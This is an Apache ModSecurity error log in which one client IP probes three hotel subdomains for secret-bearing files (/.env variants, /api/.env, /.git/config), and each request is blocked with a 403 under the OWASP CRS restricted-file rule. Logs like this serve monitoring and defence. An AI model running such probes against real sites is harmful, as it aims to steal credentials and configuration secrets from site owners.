[Tue Oct 27 01:43:45.100159 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6EQ67030o4-ZAUjLpowAAAAg"]
[Tue Oct 27 01:43:45.100400 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6EQ67030o4-ZAUjLpowAAAAg"]
[Tue Oct 27 01:43:45.100711 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6EQ67030o4-ZAUjLpowAAAAg"]
[Tue Oct 27 01:43:45.135625 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6Ecqawth2HP9RxtL-ygAAAAY"]
[Tue Oct 27 01:43:45.135868 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6Ecqawth2HP9RxtL-ygAAAAY"]
[Tue Oct 27 01:43:45.136155 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6Ecqawth2HP9RxtL-ygAAAAY"]
[Tue Oct 27 01:43:45.198041 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6EQ67030o4-ZAUjLppAAAAAg"]
[Tue Oct 27 01:43:45.198283 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6EQ67030o4-ZAUjLppAAAAAg"]
[Tue Oct 27 01:43:45.198688 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6EQ67030o4-ZAUjLppAAAAAg"]
[Tue Oct 27 01:43:45.297530 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6Ecqawth2HP9RxtL-ywAAAAY"]
[Tue Oct 27 01:43:45.297749 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6Ecqawth2HP9RxtL-ywAAAAY"]
[Tue Oct 27 01:43:45.298023 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6Ecqawth2HP9RxtL-ywAAAAY"]
[Tue Oct 27 01:43:45.335650 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6EQ67030o4-ZAUjLppQAAAAg"]
[Tue Oct 27 01:43:45.335903 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6EQ67030o4-ZAUjLppQAAAAg"]
[Tue Oct 27 01:43:45.336254 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auA6EQ67030o4-ZAUjLppQAAAAg"]
[Tue Oct 27 01:43:45.591692 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6EQ67030o4-ZAUjLppgAAAAg"]
[Tue Oct 27 01:43:45.591998 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6EQ67030o4-ZAUjLppgAAAAg"]
[Tue Oct 27 01:43:45.592311 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auA6EQ67030o4-ZAUjLppgAAAAg"]
[Tue Oct 27 01:43:45.593452 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zAAAAAY"]
[Tue Oct 27 01:43:45.593632 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zAAAAAY"]
[Tue Oct 27 01:43:45.593884 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zAAAAAY"]
[Tue Oct 27 01:43:45.758102 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6EckbbDK06qDUYmCopgAAAAU"]
[Tue Oct 27 01:43:45.758343 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6EckbbDK06qDUYmCopgAAAAU"]
[Tue Oct 27 01:43:45.758648 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6EckbbDK06qDUYmCopgAAAAU"]
[Tue Oct 27 01:43:45.791425 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zQAAAAY"]
[Tue Oct 27 01:43:45.791609 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zQAAAAY"]
[Tue Oct 27 01:43:45.791885 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "auA6Ecqawth2HP9RxtL-zQAAAAY"]
[Tue Oct 27 01:43:45.794128 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6EQ67030o4-ZAUjLppwAAAAg"]
[Tue Oct 27 01:43:45.794274 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6EQ67030o4-ZAUjLppwAAAAg"]
[Tue Oct 27 01:43:45.794490 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "auA6EQ67030o4-ZAUjLppwAAAAg"]
[Tue Oct 27 01:43:45.831793 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6EQ67030o4-ZAUjLpqAAAAAg"]
[Tue Oct 27 01:43:45.832017 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6EQ67030o4-ZAUjLpqAAAAAg"]
[Tue Oct 27 01:43:45.832258 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6EQ67030o4-ZAUjLpqAAAAAg"]
[Tue Oct 27 01:43:45.962938 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6EckbbDK06qDUYmCoqAAAAAU"]
[Tue Oct 27 01:43:45.963178 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6EckbbDK06qDUYmCoqAAAAAU"]
[Tue Oct 27 01:43:45.963417 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA6EckbbDK06qDUYmCoqAAAAAU"]
[Tue Oct 27 01:43:45.977291 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6EQ67030o4-ZAUjLpqQAAAAg"]
[Tue Oct 27 01:43:45.977438 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6EQ67030o4-ZAUjLpqQAAAAg"]
[Tue Oct 27 01:43:45.977695 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6EQ67030o4-ZAUjLpqQAAAAg"]
